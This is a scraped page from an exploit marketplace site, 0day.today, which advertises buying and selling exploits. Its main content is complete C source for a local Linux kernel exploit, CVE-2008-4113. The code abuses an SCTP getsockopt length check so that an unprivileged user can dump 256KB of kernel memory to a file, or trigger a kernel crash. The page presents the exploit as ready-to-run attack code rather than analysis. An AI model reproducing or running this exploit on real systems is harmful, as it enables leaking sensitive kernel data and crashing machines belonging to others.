0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux Kernel < 2.6.26.4 SCTP Kernel Memory Disclosure Exploit
============================================================= Linux Kernel < 2.6.26.4 SCTP Kernel Memory Disclosure Exploit ============================================================= /* * cve-2008-4113.c * * Linux Kernel < 2.6.26.4 SCTP kernel memory disclosure * * Information: * * * The sctp_getsockopt_hmac_ident function in net/sctp/socket.c in the Stream * Control Transmission Protocol (sctp) implementation in the Linux kernel * before 2.6.26.4, when the SCTP-AUTH extension is enabled, relies on an * untrusted length value to limit copying of data from kernel memory, which * allows local users to obtain sensitive information via a crafted * SCTP_HMAC_IDENT IOCTL request involving the sctp_getsockopt function. * * Notes: * * If SCTP AUTH is enabled (net.sctp.auth_enable = 1), this exploit allow an * unprivileged user to dump an arbitrary amount (DUMP_SIZE) of kernel memory * out to a file (DUMP_FILE). If SCTP AUTH is not enabled, the exploit will * trigger a kernel OOPS. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #ifndef SCTP_HMAC_IDENT #define SCTP_HMAC_IDENT 22 #endif #define DUMP_SIZE 256*1024 #define DUMP_FILE "mem.dump" int main(int argc, char **argv) { int ret, sock; FILE *dumpfile; char *memdump, *err; socklen_t memlen = DUMP_SIZE; memdump = malloc(DUMP_SIZE); if (!memdump) { err = "malloc(3) failed"; printf("[-] Error: %s (%s)\n", err, strerror(errno)); return 1; } memset(memdump, 0, DUMP_SIZE); printf("[+] creating IPPROTO_SCTP socket\n"); sock = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); if (sock == -1) { err = "socket(2) failed"; printf("[-] Error: %s (%s)\n", err, strerror(errno)); return 1; } printf("[+] getting socket option SCTP_HMAC_IDENT with length of %d\n", memlen); ret = getsockopt(sock, SOL_SCTP, SCTP_HMAC_IDENT, memdump, &memlen); if (ret == -1) { err = "getsockopt(2) failed"; printf("[-] Error: %s (%s)\n", err, strerror(errno)); return 1; } printf("[+] dumping %d bytes of kernel memory to %s\n", memlen, DUMP_FILE); dumpfile = fopen(DUMP_FILE, "wb"); if (!dumpfile) { err = "fopen(3) failed"; printf("[-] Error: %s (%s)\n", err, strerror(errno)); return 1; } fwrite(memdump, 1, memlen, dumpfile); fclose(dumpfile); printf("[+] done.\n"); return 0; } # 0day.today [2024-11-15] #